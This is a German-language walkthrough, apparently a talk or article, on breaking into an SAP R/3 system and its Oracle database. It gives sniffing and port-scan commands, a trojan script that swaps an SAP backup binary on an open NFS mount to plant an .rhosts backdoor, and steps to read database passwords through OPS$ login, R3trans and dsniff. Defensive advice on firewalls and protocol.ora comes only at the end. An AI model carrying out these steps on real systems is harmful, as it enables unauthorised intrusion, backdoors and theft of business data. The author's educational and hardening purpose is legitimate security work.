Wir hacken eine SAP Datenbank

Jochen Hein

1. Wie man ein SAP hacken kann und dabei seinen Spaß hat

> **Warning**
>
> Kids, don’t do that at home. Allerdings benutzen wir nur Standardtechniken, die jedem Admin lange bekannt sind.

1.1. Hacken mit Unix/Netzwerk-Mitteln

Wir wissen nichts (außer, dass es ein SAP R/3 geben soll - die Chancen für eine Oracle-Datenbank sind gut) und haben einen Laptop dabei. Zufälligerweise finden wir eine beschaltete Netzwerkdose (oder klemmen uns mit einem Mini-Hub zusätzlich an). Und dann lauschen wir auf das, was da kommt.

SAP R/3 Systeme können auf vielen verschiedenen Ports verfügbar sein. In der Regel findet man die Applikationsserver auf einem Port zwischen 3200 und 3299, den Message-Server zwischen 3600 und 3699. Die letzten zwei Stellen sind üblicherweise die sogenannte Systemnummer. Man kann diese Ports zwar in den Profiles ändern, man kann aber davon ausgehen, dass die meisten Systeme in dieser Konfiguration betrieben werden. Die Figure 1 zeigt ein Beispiel für den Aufruf von **tcpdump**, es gibt aber noch andere Tools.

```
#!/bin/sh
tcpdump -n -i eth0 'tcp[13] & 3 != 0 and \
                    (( tcp[2:2] >= 3200 tcp[2:2] < 3300) or \
                     ( tcp[2:2] >= 3600 tcp[2:2] < 3700))'
```

Figure 1. Packet-Sniffer

Als Ergebnis bekommt man nur die Verbindungsaufbauten zu einem Applikationsserver bzw. dem Message-Server zu sehen. Der erste Ausdruck `tcp[13] & 3 != 0` filtert genau diese TCP-Pakete heraus. Hier werden nur IP-Adressen und Portnummern, keine Namen angezeigt. Das Ergebnis (Figure 2, hier nur verkürzt dargestellt) merken wir uns.

```
192.168.1.1.4722 > 192.168.10.1.3200
```

Figure 2. Ergebnis des Sniffers

Damit kennen wir einen oder mehrere SAP-Server und können diese weiter analysieren. Abhilfe gegen diesen ersten Angriff ist die Verwendung eines geswitchten Netzes, wo jeder Rechner nur die Pakete sieht, die für ihn bestimmt sind. Es gibt Angriffe gegen Switches, die diese zu Hubs degenerieren, so dass danach wieder ein Sniffer eingesetzt werden kann.

Anhand der in diesem Netz aktiven Adressen wählen wir für das folgende eine passende IP-Adresse (in der Hoffnung, dass uns keiner darauf kommt). Hilfreich für den Systemverwalter wäre ein Tool wie **arpwatch**, das zumindest den neuen Rechner anzeigt. Der Einbrecher kann natürlich abends eine MAC- und IP-Adresse eines Arbeitsplatz-Rechners verwenden - dann hilft nur noch eine Time-Restriction und die passende Überwachung im Netz.

Mit einem speziellen Linux-System auf dem Laptop ist das Mitschneiden für den Netzwerkverwalter praktisch unsichtbar. Das spezielle an diesem Linux ist ein Kernel-Patch (etwa unter http://linux.davecentral.com/projects/stealthkernelpatch/, der verhindert, dass das System irgendwann ein Paket schickt. Andernfalls könnte z.B ein Intrusion Detection System (IDS) erkennen, dass ein Rechner mit einer Netzwerk-Karte im Promicous-Mode aktiv ist.

Im nächsten Schritt raten wir eine freie IP-Adresse (evtl. von einem Nachts ausgeschalteten PC) und verwenden diese auf unserem Laptop. Sollte es sich als notwendig erweisen, einen DNS-Zugang zu haben, so lauscht man auf Pakete zum Port 53 und trägt den passenden Server lokal ein. Mit etwas Glück kommen wir ohne aus (Wenn der Name-Server mit der Option `query-log` läuft, dann könnten wir erkannt werden).

Mit dem Programm **sapgui** verbinden wir uns auf diesen Rechner und diesen Port, damit erhalten wir in der Statuszeile die System-ID (Figure 3). Diese ist, bei der Verwendung von Oracle auch gleich die Oracle-SID. Wenn wir eine Verbindung zu einem Port 36*nr* gefunden haben, versuchen wir mit Hilfe des Programmes **lgtst** (ist beim Unix-SAPGUI dabei) weitere Informationen über das System zu erhalten. In diesem Fall wird vermutlich die Lastverteilung eingesetzt.

```
SAPGUI
 /H/victim-IP/S/victim-Port
```

Figure 3. Verbinden mit SAPGUI

1.2. Ein kleiner Umweg

Warning

Ab hier werden wir im Netz aktiv. Wenn der Systemverwalter ein Intrusion Detection System hat, oder auf Portscans achtet oder seine Log-Dateien liest, dann könnte ihm etwas auffallen. Tun Sie's nicht in fremden Netzen - auch im eigenen sollten Sie erstmal mit Ihren Kollegen reden. You have been warned.

Zunächst bekommen wir heraus, was dort für ein System ist (Tools dafür gibt's an jeder Straßenecke). Je nach System kann es sich anbieten, direkt das System zu attackieren, rootshell (http://www.rootshell.com) ist dafür immer eine gute Quelle.

- **telnet** gibt vielleicht den Namen des Betriebssystems aus.
- **nmap -O *`victim-IP`*** rät möglicherweise das Betriebssystem.

"Das ist ein Unix-System, damit kenne ich mich aus." Ein erster, ziemlich dreister Versuch ist das Anmelden als `root` mit dem Kommando **rlogin**. Ja, das klappt gelegentlich wirklich - Game Over, thank your for playing.

Bei Unix-Systemen kann man mit dem Befehl **showmount -e** die via NFS exportierten Verzeichnisse finden. Mit etwas Glück sind wichtige Volumes an alle Rechner freigegeben, eventuell sogar zum Schreibzugriff. Ein abschreckendes Beispiel finden Sie in Figure 4.

```
cracker# showmount -e victim-IP
Export list for victim-IP:
/sapmnt/SID  (everyone)
```

Figure 4. NFS ausbeuten

Aha: Hier läuft das System `SID`. Das sehen wir auch schon mit dem SAPGUI nach dem Portscan. Was aber schon viel nützlicher ist, wir können das NFS-Volume mounten, einen Benutzer `sidadm` anlegen und beliebige Programme austauschen (ja, das ist ein Beispiel aus der Praxis, das tatsächlich existiert - beinahe fahrlässig finde ich). Dem Benutzer `sidadm` gehören die Daten des R/3-Systems. Unter Unix gehört die Oracle-Datenbank dem Benutzer `orasid`.

Die Figure 5 zeigt dazu eine mögliche Herangehensweise zum Ersetzen von Unix Programmen. Mit etwas Glück fällt das keinem auf - und wenn, dann ist kaum etwas nachzuvollziehen (oder führen Sie Logs über erfolgreiche NFS-Mounts?).

```
    cracker#  mount -t nfs Victim-IP:/sapmnt/SID /mnt
    cracker#  ls -l
    ... in dieser Liste finden wir die numerische Benutzernummer des
    Unix-Benutzers sidadm ...
    cracker#  adduser -u nummer sidadm
    cracker#  su - sidadm
    sidadm>  cd /mnt/exe
    sidadm>  mv brarchive .brarchive
    sidadm>  cat > brarchive
    #!/bin/sh
# Erstellen einer Hintertür
echo meine-ip >> $HOME/.rhosts
# Und damit es nicht auffällt das alte Programm starten
exec /sapmnt/SID/exe/.brarchive
    Strg-C
    sidadm>  chmod a+x brarchive
```

Figure 5. Einspielen eines Trojanischen Pferdes

Nun einfach einen Tag warten (nämlich bis zum nächsten Lauf des Programmes **brarchive**) und wir haben gewonnen. Wir können uns ohne Paßwort mit dem Programm **rlogin** als `sidadm` anmelden. Herzlichen Dank für dieses einfache Spiel.

1.3. Wieder zurück zum SAP

Nun machen wir uns auf die Suche nach dem Datenbank-Server. Ein Portscan auf den oben gefundenen Rechner Rechner gibt evtl. den Message-Server preis und vielleicht einen Oracle-Port. Die Figure 6 enthält ein passendes Beispiel.

```
nmap -p 3200-3699 <ip-adresse> (1)
nmap -p 1527 <ip-adresse> (2)
```

Figure 6. Aufruf eines Portscanners

(1) Das sind die Ports des SAP-Dispatchers (32*xx*), eventuelle Gateway-Prozesse (33*xx*) und Message-Server (36*xx*).

(2) Suche nach einem Oracle-Listener. Es gibt Leute, die behaupten der liefe standardmäßig auf dem Port 1521. Hm.

Raten: Hosts in der Nähe (die letzte Stelle der IP-Adresse ändern) prüfen! Bei mehreren SAP Systemen kann das weitere Server bringen. Außerdem kann man möglicherweise Vertrauensbeziehungen zwischen den verschiedenen Systemen ausnutzen - aber das ist heute nicht unser Ziel.

Annahme: Es gibt eine Zentral-Instanz, DB und diese laufen auf einem Rechner. Ob diese Annahme stimmt, kann man mit dem Programm **sapinfo** herausbekommen. Das Programm finden Sie auf der GUI-CD im RFC-SDK. Die Figure 7 enthält wieder ein Beispiel.

```
cracker#  sapinfo awhost=ip-adresse sysnr=nr
SAP System Information
-----------------------------------------------

Destination             hostname_SID_nr

Host                    hostname
System ID               SID
Database                SID
DB host                 hostname
DB system               ORACLE

SAP release             40B
SAP kernel release      40B

RFC Protokoll           011
Characters              1100
Integers                BIG
Floating P.             IE3
SAP machine id            320
```

```
Timezone                  3600 (Daylight saving time)
```

Figure 7. Das Programm sapinfo

Bei einem Rechner mit nur einer Netzwerk-Karte ist man nun fertig. Ist der Rechner multi-homed, dann kann uns vielleicht die Ausgabe von **lgtst** weiterhelfen. Ansonsten hilft entweder gezieltes Raten oder der Zugriff auf den DNS-Server des Opfers (so vorhanden).

Wir wissen jetzt:

- Die IP-Adresse(n) des Opfers
- Die Systemnummer des R/3 Systems (die letzten zwei Stellen des SAP-Ports)
- Die System-ID des Systems und der Oracle-Datenbank
- Den Namen des Datenbank-Servers

Damit bewaffnet machen wir uns auf zu dem eigentlichen Ziel: Dem Zugriff auf die SAP Datenbank.

1.4. Erhacken der Oracle-Datenbank

Wir erstellen eine SQL-NetV2 Konfiguration, die uns hoffentlich Zugang zur Datenbank verschafft. Wir brauchen eine Datei `sqlnet.ora` (Standard-SAP, siehe Figure 8) und eine Datei `tnsnames.ora` (Figure 9). Mit der Umgebungsvariablen TNS_ADMIN können wir den Pfad zu diesen Dateien angeben - aber auf unserem Laptop (hier sind die Oracle-Programme ebenfalls installiert) sind wir da sowieso frei.

```
################
# Filename......: template sqlnet.ora
# Name..........:
# Date..........:
################
AUTOMATIC_IPC = ON
TRACE_LEVEL_CLIENT = OFF
SQLNET.EXPIRE_TIME = 0
NAMES.DEFAULT_DOMAIN = world
NAME.DEFAULT_ZONE = world
#SQLNET.AUTHENTICATION_SERVICES = (ALL)
```

Figure 8. Die Datei `sqlnet.ora`

```
SID.world =
  (DESCRIPTION =
    (ADDRESS_LIST =
        (ADDRESS =
          (COMMUNITY = sap.world)
          (PROTOCOL = TCP)
          (Host = hostname)
          (Port = 1527)
        )
    )
    (CONNECT_DATA =
       (SID = SID)
       (GLOBAL_NAME = SID.world)
    )
  )
```

Figure 9. Die Datei `tnsnames.ora`

Wenn die Standard-Paßwörter nicht geändert wurden können wir uns mit dem Befehl **connect sapr3/sap@*SID*** im **svrmgrl** mit der Datenbank verbinden. Andernfalls müssen wir mit Hilfe des OPS$-Mechanismus von Oracle das Paßwort des Datenbankbenutzers `SAPR3` herausfinden (Figure 10). Dafür müssen wir auf dem Laptop einen Benutzer *sid*adm anlegen.

```
sidadm> setenv TNS_ADMIN $HOME/
sidadm> setenv ORACLE_HOME /oracle/SID
sidadm> setenv ORACLE_SID SID
sidadm> svrmgrl

Oracle Server Manager Release 3.0.6.0.0 - Production

(c) Copyright 1999, Oracle Corporation.  All Rights Reserved.

Oracle8 Enterprise Edition Release 8.0.6.1.0 - Production
PL/SQL Release 8.0.6.1.0 - Production

SVRMGR> connect /@SID (1)
   Connected.
SVRMGR> select * from sapuser;
```

```
    USERID PASSWD
------ ------
SAPR3  geheim
1 row selected.
SVRMGR> connect SAPR3/geheim@SID (2)
    Connected.
SVRMGR>
```

Figure 10. Oracle hacken

(1) Wir verbinden uns an die Datenbank als OPS$-User. Dieser ist im Oracle angelegt als `identified externally`, so dass wir hier kein Paßwort angeben müssen. Da wir nicht direkt auf dem Datenbank-Server arbeiten, geben wir die *`SID`* an, diese wird mit Hilfe der SQL-NetV2-Konfiguration aufgelöst.

(2) Mit dem in der Tabelle `SAPUSER` gespeicherten Paßwort können wir und nun an die Datenbank anmelden.

1.5. Zukünftige Ideen

In aktuellen SAP R/3 Versionen wird das Passwort verschlüsselt in der Tabelle SAPUSER abgelegt. Damit ist es nicht mehr ganz so einfach - es gibt aber zwei Wege, die man verfolgen kann:

- Ein Angriff mit kryptographischen Methoden auf die Verschlüsselung. Das würde ich gerne mal versuchen, allerdings fehlt mir mindestens mittelfristig dafür die Zeit. Der OSS-Hinweis 150790 macht diese Idee besonders verlockend: »Für die Verschlüsselung wird die allgemeine SAP-Verschlüsselungsroutine benutzt.« Das lässt vermuten, dass man damit auch Passwörter von R/3 Benutzern knacken könnte.
- Auf dem Laptop, den wir für den Angriff verwendet haben könnte man Tools wie **R3trans** installieren und damit Zugriff auf die Datenbank erhalten. Da die Verschlüsselung in **R3trans** implementiert ist, müsste man ohne die oben genannte Analyse auskommen und dennoch Zugriff auf alle R/3 Daten haben. Ein kurzer Test zeigt mir folgendes:

```
sidadm> export PATH="$PATH:/oracle/SID/817_32/bin:/usr/sap/SID/SYS/exe/run"
sidadm> export dbms_type=oraexport DIR_LIBRARY=/usr/sap/SID/SYS/exe/run
sidadm> export dbs_ora_tnsname=SID
sidadm> export TNS_ADMIN=/home/sidadm
sidadm> cat control
```

```
    export
compress=no
client=000
# select table where name = T000
select * from t000
    sidadm> R3trans control
    ...
    sidadm> strings trans.dat
    ...
q  000SAP AG            Walldorf DEM [...]
q  001Auslieferungsmandant R11 Kundstadt        EUR [...]
...
```

Figure 11. R3trans zum Datenbank-Zugriff

Hier braucht man sich nur vorzustellen, was ein Angreifer auch tun könnte:

- clientremove ;-)
- Tabellen exportieren und in einem WAS/IDES importieren und analysieren
- in einem WAS ein Transport-File generieren, z.B. mit einem Benutzer mit hinreichend vielen Berechtigungen oder geeigneten Belegen.

Wenn sich **R3trans** an die Datenbank verbinden kann, dann kann man mit Hilfe von **tcpdump** oder **dsniff** (http://www.monkey.org/~dugsong/dsniff/ (http://www.monkey.org/~dugsong/dsniff/), vermutlich **dsniff -s 4096**[1]) das Passwort ersniffen. Danach kann dann wie gewohnt das Kommando **svrmgrl** verwendet werden. *Herzlichen Glückwunsch!*

1.6. Überlegungen zur SAP Passwort-»Verschlüsselung«

Das, was SAP als »Verschlüsselung« bezeichnet, kann in Wahrheit nur eine Verschleierung sein. Wenn man die »Verschlüsselung« als eine Funktion `f` des Passwortes betrachtet, dann ist das »verschlüsselte« Passwort das Ergebnis der Funktion `f(password)`. Da Programme wie **R3trans** in der Lage sind, ohne weitere Einstellungen das »verschlüsselte« Passwort wieder in den Klartext zu verwandeln existiert eine Funktion f^{-1}, für die gilt: f^{-1}`(f(passwort))=passwort`. Damit ist die Verschleierung (wie oben gezeigt) sehr einfach zu überlisten, da ich in der Lage bin, ein beliebiges verschleiertes Passwort durch **R3trans** »entschlüsseln« zu lassen.

1. Why isn't dsniff capturing Oracle logins? Increase the default snaplen with dsniff -s 4096. Oracle logins can be quite chatty...

Damit ist die kryptographische Analyse der "Verschlüsselung" nur noch von sportlichen Interesse - der pragmatische Ansatz ist einfach das Programm **R3trans** zur »Entschlüsselung« des speziellen Passwortes einzusetzen.

1.7. Fazit

Danke für die Blumen. Die einzige Abhilfe, die mir einfällt ist der Aufbau eines Packet-Filters vor den Oracle-Ports und der Einsatz eines geswitchten Netzes. Außerdem sollten Sie über einen Firewall zwischen den SAP-Servern und dem übrigen Netz nachdenken. Wirklich. Möglicherweise wäre dann der NFS-Hack fehlgeschlagen.

Intensivere Suche in verschiedenen Dokumenten hat zur Datei `protocol.ora` geführt. In dieser Datei kann man mit dem Eintrag `validnode_checking` eine IP-basierte Prüfung einschalten. Der Eintrag `invited_nodes` enthält dann die erlaubten IP-Adressen bzw. Hostnamen. Die Figure 12 zeigt ein passendes Beispiel. Aufgrund eines Oracle-Fehlers sollten Sie *niemals* Hostnamen verwenden. Kann eine Hostname nicht aufgelöst werden, so wird die Zugriffsbeschränkung ohne Meldung aufgehoben - jeder kann wieder alle Daten lesen!

```
tcp.nodelay = true
tcp.validnode_checking = yes
tcp.invited_nodes = ( IP-Adresse, IP-Adresse )
```

Figure 12. Die Datei `protocol.ora`

Nachteile des Einsatzes dieser Konfiguration ist, dass ein neuer Applikationsserver bzw. ein System aus dem Transportverbund (für Testimporte) hier aufgenommen werden muß. Man erkauft sich die höhere Sicherheit also mit mehr Aufwand und eventuell einer aufwändigen Fehlersuche, wenn man diese Einstellung vergessen hat.

Das wirklich große Problem aus meiner Sicht ist, dass SAP in der Standardinstallation unsicher installiert wird, in den Handbüchern keinerlei Informationen zu diesem Problem zu finden sind und der Fix gut im OSS versteckt ist. Gerade Systeme mit zum Teil sehr schützenswerten Daten wie SAP R/3 sollten in der Standardinstallation derartige Lücken nicht aufweisen. Das Problem ist seit 1999 bekannt, aber bisher habe ich keine Änderungen in den Installationen entdeckt.

1.8. OSS-Notes und R/3 Versionen

Hinweis 186119, ab 4.5B ist Tabelle SAPUSER verschlüsselt

186119 gültig 4.0x, 4.5x, 4.6x. Lt. Handbuch keine Änderung für WAS/6.10

Ab 6.10 heißt der Datenbank-Benutzer SAP<SID>:

Hinweis 361641: Anlegen der OPS$ Benutzer unter UNIX »R/3 >= 6.10: Benutzen Sie das Skript oradbusr.sql (siehe auch Hinweis 50088).«